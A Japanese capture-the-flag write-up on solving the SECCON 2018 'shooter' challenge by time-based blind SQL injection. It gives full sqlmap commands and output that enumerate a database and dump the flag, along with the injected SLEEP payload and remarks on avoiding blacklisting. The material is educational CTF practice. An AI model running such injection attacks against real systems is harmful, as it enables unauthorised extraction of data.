sqlmapでTime-Based Blind SQL Injectionをやってみる
sqlmapを使用してSQL Injectionを効率的に実行した結果をまとめる。
経緯、動機
SECCON 2018 Qualsのwriteupを読んでいたら、sqlmapを使用してshooterを解いていた方を発見。
SECCON 2018 Quals write-up (classic, kindvm, gacha lv.1/2, shooter last part) - cookies.txt .scr
CTFでは、ツールによるスキャン行為は禁止されていることが多く、短時間に負荷をかけると自身のIPアドレスをブラックリストに登録されてしまうことある。結果、一定時間ブロックされたり、最悪、大会終了までブロックされ続けることがある。
(実際、迂闊にもdirb
をかけてブロックされたことがあった。)
よって、これまでsqlmapをまともに使用する機会が無く、SQL Injectionの脆弱性がありそうな項目を発見したら自分でスクリプトを作成して解いていた。ただ「機械にできることは機械にまかせるべき」であるし、CTFは項目数が少ないが実際のペネトレーションテストや脆弱性診断の現場においては人手で確認しきれない大量の項目があることを想定すると、sqlmapに慣れ親しむことも重要と考えて、shooterを題材に試してみた。
なお、スクリプトを作って解いたwriteupは以下の通り。 SECCON 2018 Quals - shooter - こんとろーるしーこんとろーるぶい
実行結果
shooterはTime-Based Blind SQL Injectionで攻める問題であったが、1文字ずつ情報を特定していく攻撃手法であるため、必要なリクエスト数が多く時間がかかる。
オプションの指定が緩いと、目的とする情報(CTFの場合はフラグ)に結び付かないテーブルや列の情報も取得しようとして時間がかかってしまう。よって、適切にオプションを指定することで情報を絞り込みながら実行する。
具体的には、以下の段取りで情報を取得してみる。
- データベース名の取得
- テーブル名の取得
- カラム名の取得
- レコードの取得
1. データベース名の取得
実行コマンドは以下の通り。
sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \ -p password \ --method POST \ --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \ --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \ --dbms mysql \ --time-sec 2 \ --technique T \ --level 2 \ --dbs
オプション | 説明 |
---|---|
-u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' | URLを指定。 |
-p password | 脆弱性のある項目を指定。この問題はpassword項目に脆弱性があることが既にわかっているため指定した。 |
--method POST | POSTメソッドを指定。 |
--cookie "_shooter_session=...(snip)" | HTTP Request HeaderのCookieを指定。なお、あらかじめ画面打鍵して情報採取した値を指定した。 |
--data "authenticity_token=...(snip)" | 送信する項目と値を指定。-p passwordで攻撃対象を指定しているため、password項目以外は固定値として設定される。 |
--technique T | 何の攻撃手法を使用するか指定。今回はTime-Based Blind SQL Injectionで攻めるようにTを指定。 |
--time-sec 2 | Time-Based Blind SQL Injectionで使用するslepp時間を指定。 |
--dbs | データベース名を取得するように指定。 |
--level 2 | 攻撃コードのバリエーション数に影響すると思われる。この問題の場合、デフォルトの1 では攻撃が成功しなかった。 |
実行結果。
root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 --dbs ___ __H__ ___ ___["]_____ ___ ___ {1.2.8#stable} |_ -| . ['] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 01:29:29 [01:29:29] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n [01:29:31] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n [01:29:32] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable [01:29:32] [INFO] testing for SQL injection on POST parameter 'password' [01:29:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind' [01:29:32] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done) [01:29:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [01:29:37] [INFO] POST parameter 'password' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n] Y [01:29:40] [INFO] checking if the injection point on POST parameter 'password' is a false positive POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests: --- Parameter: password (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login --- [01:30:07] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [01:30:07] [INFO] fetching database names [01:30:07] [INFO] fetching number of databases [01:30:07] [INFO] retrieved: [01:30:07] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 2 [01:30:12] [INFO] retrieved: information_schema [01:32:08] [INFO] retrieved: shooter_staging available databases [2]: [*] information_schema [*] shooter_staging [01:33:54] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 4 times [01:33:54] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp' [*] shutting down at 01:33:54
information_schemaとshooter_stagingの2つのデータベースがあることがわかった。
2. テーブル名の取得
実行コマンドは以下の通り。
sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \ -p password \ --method POST \ --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \ --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \ --dbms mysql \ --time-sec 2 \ --technique T \ --level 2 \ -D shooter_staging --tables
オプション | 説明 |
---|---|
-D shooter_staging | 情報取得の対象とするデータベース名を指定。 |
--tables | テーブル名を取得するように指定。 |
実行結果。
root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 -D shooter_staging --tables ___ __H__ ___ ___[,]_____ ___ ___ {1.2.8#stable} |_ -| . [.] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 01:36:28 [01:36:29] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n sqlmap resumed the following injection point(s) from stored session: --- Parameter: password (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login --- [01:36:30] [INFO] testing MySQL [01:36:30] [INFO] confirming MySQL [01:36:30] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.0 [01:36:30] [INFO] fetching tables for database: 'shooter_staging' [01:36:30] [INFO] fetching number of tables for database 'shooter_staging' you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n .............................. (done) [01:36:34] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 5 [01:36:36] [INFO] retrieved: ar_internal_metadata [01:38:43] [INFO] retrieved: flags [01:39:14] [INFO] retrieved: managers [01:39:57] [INFO] retrieved: schema_migrations [01:41:43] [INFO] retrieved: scores Database: shooter_staging [5 tables] +----------------------+ | ar_internal_metadata | | flags | | managers | | schema_migrations | | scores | +----------------------+ [01:42:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp' [*] shutting down at 01:42:12
shooter_stagingデータベースには、flagsテーブルと4つのテーブルがあることがわかった。
3. カラム名の取得
実行コマンドは以下の通り。
sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \ -p password \ --method POST \ --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \ --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \ --dbms mysql \ --time-sec 2 \ --technique T \ --level 2 \ -D shooter_staging \ -T flags \ --columns
オプション | 説明 |
---|---|
-T flags | 情報取得の対象とするテーブル名を指定。 |
--columns | カラム名を取得するように指定。 |
実行結果。
root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 -D shooter_staging -T flags --columns ___ __H__ ___ ___[,]_____ ___ ___ {1.2.8#stable} |_ -| . [.] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 01:43:26 [01:43:27] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n sqlmap resumed the following injection point(s) from stored session: --- Parameter: password (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login --- [01:43:32] [INFO] testing MySQL [01:43:32] [INFO] confirming MySQL [01:43:32] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.0 [01:43:32] [INFO] fetching columns for table 'flags' in database 'shooter_staging' you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n .............................. (done) [01:43:35] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 4 [01:43:35] [INFO] retrieved: id [01:43:48] [INFO] retrieved: bigint(20) [01:44:53] [INFO] retrieved: value [01:45:24] [INFO] retrieved: varchar(255) [01:46:37] [INFO] retrieved: created_at [01:47:39] [INFO] retrieved: datetime [01:48:24] [INFO] retrieved: updated_at [01:49:33] [INFO] retrieved: datetime Database: shooter_staging Table: flags [4 columns] +------------+--------------+ | Column | Type | +------------+--------------+ | value | varchar(255) | | created_at | datetime | | id | bigint(20) | | updated_at | datetime | +------------+--------------+ [01:50:18] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp' [*] shutting down at 01:50:18
flagsテーブルには、value項目と3つのカラムがあることがわかった。
4. レコードの取得
実行コマンドは以下の通り。
sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \ -p password \ --method POST \ --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \ --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \ --dbms mysql \ --time-sec 2 \ --technique T \ --level 2 \ -D shooter_staging \ -T flags \ -C value \ --dump
オプション | 説明 |
---|---|
-C value | 情報取得の対象とするカラム名を指定。 |
--dump | データベースのテーブル情報全般を取得するように指定。ただ、-D、-T、-Cで対象を絞っているため、結果、shooter_stagingデータベースのflagsテーブルのvalue列の値を取得する挙動となる。 |
実行結果。
root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 -D shooter_staging -T flags -C value --dump ___ __H__ ___ ___[)]_____ ___ ___ {1.2.8#stable} |_ -| . [)] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 01:53:42 [01:53:42] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n sqlmap resumed the following injection point(s) from stored session: --- Parameter: password (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login --- [01:53:44] [INFO] testing MySQL [01:53:44] [INFO] confirming MySQL [01:53:44] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.0 [01:53:44] [INFO] fetching entries of column(s) '`value`' for table 'flags' in database 'shooter_staging' [01:53:44] [INFO] fetching number of column(s) '`value`' entries for table 'flags' in database 'shooter_staging' you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n .............................. (done) [01:53:45] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 1 [01:53:47] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N} Database: shooter_staging Table: flags [1 entry] +-------------------------------------------+ | value | +-------------------------------------------+ | SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N} | +-------------------------------------------+ [01:58:37] [INFO] table 'shooter_staging.flags' dumped to CSV file '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp/dump/shooter_staging/flags.csv' [01:58:37] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp' [*] shutting down at 01:58:37
flagsテーブルのvalue列の値にセットされていたフラグを取得できた。
まとめ
実際に、sqlmapでTime-Based Blind SQL Injectionが成功した。
CTFにおいては、攻める対象の項目等が特定できていれば、実際に活用可能と考えられる。
ただ、大量リクエストによるブロックに気を付ける必要があるし、他にもsqlmapのUserAgentはデフォルトのままだとsqlmap利用だとわかってしまいブラックリストに入れられてしまう可能性が高いと考えられる。
注意は必要であるが、SQLインジェクションに対する脆弱性があることがわかっているのに、どうやってテスト用のSQLを組み立てればいいのかわからないといったケースでは、一度、試してもよいかもしれない。